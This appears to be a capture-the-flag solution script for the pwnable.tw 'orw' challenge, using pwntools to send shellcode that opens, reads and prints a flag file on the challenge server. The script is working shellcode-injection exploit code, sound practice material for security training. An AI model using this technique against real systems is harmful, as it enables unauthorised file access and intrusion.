[pwnable.tw] orw

from pwn import *
 
r = remote('chall.pwnable.tw', 10001)
context(arch='i386', os='linux')
 
sm = ''
sm += shellcraft.open('/home/orw/flag')                                                        
sm += shellcraft.read(3, 'esp', 50)      
sm += shellcraft.write(1, 'esp', 50)      
sm += shellcraft.exit()      
 
r.sendlineafter(':', asm(sm))
 
r.interactive()